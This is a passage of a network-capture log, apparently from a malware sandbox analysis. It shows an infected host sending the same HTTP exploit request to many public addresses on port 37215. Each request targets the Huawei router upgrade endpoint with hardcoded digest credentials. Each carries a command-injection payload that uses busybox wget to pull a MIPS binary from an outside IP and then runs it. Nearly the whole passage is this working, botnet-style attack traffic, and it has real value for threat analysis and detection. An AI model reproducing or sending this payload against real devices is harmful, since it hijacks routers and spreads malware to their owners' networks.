HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	43262	41.98.155.71	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.645711899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	45280	197.159.14.165	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.646437883 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	39070	156.230.86.20	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.647206068 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	51404	197.111.134.175	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.647914886 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	44284	41.231.143.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.648657084 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	44504	41.61.237.24	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.649435043 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	36866	197.35.156.28	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.650126934 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	42044	197.254.128.168	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.650836945 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	45096	197.64.191.165	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.651590109 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.13	35332	197.92.239.151	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.652272940 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	57296	41.208.114.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.653315067 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 